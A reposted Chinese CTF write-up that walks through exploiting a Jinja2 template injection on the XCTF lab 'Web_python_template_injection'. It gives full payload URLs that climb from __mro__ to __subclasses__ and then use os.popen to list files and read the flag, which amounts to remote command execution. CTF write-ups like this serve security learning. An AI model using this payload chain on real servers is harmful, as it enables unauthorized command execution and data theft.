一.进入实验发现是python的模板注入

　　1.我们先来了解一下：

　　instance.__class__ 可以获取当前实例的类对象

　　class.__mro__ 获取当前类对象的所有继承类

　　每一个新式类都保留了它所有的子类的引用，__subclasses__()这个方法返回了类的所有存活的子类的引用（注意是类对象引用，不是实例）

　　在Jinja2模板引擎中，{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量，还可以执行一些简单的表达式。

　　这里就不一一说明了，我也不是很懂这个漏洞，想更详细地了解就看看这个 https://www.freebuf.com/column/187845.html

　　2.实验步骤：

　　判断是否存在漏洞  ：  发现1+1被执行了，也就可以利用这漏洞了

　　通过  http://111.198.29.45:55462/%7B%7B‘‘.__class__.__mro__[2].__subclasses__()%7D%7D ，查看所有模块

　　由于我们想要读取到flag文件里的信息，所以选用 os.popen

　　首先我们要找到os模块的位置，他是位于<class ‘site._Printer‘>里面 ，结果查找在71

　　通过`__subclasses__()[71].__init__.__globals__[‘os‘].popen(‘命令行语句‘).read()`

　 来调用服务器的控制台并显示。

　 我们构造   http://111.198.29.45:55462/%7B%7B‘‘.__class__.__mro__[2].__subclasses__()[71]

　　.__init__.__globals__[‘os‘].popen(‘ls‘).read()%7D%7D

　　根据返回的结果可以知道我们要找的flag在fl4g里面，现在查看这个文件即可得到flag。

　　http://111.198.29.45:55462/%7B%7B‘‘.__class__.__mro__[2].__subclasses__()[71]

　　.__init__.__globals__[‘os‘].popen(‘cat fl4g‘).read()%7D%7D

• 添加到短语集
   
  • 没有此单词集：英语 -> 中文（简体）...
     
  • 创建新的单词集...
• 拷贝

XCTF Web_python_template_injection

原文：https://www.cnblogs.com/darklee/p/12625742.html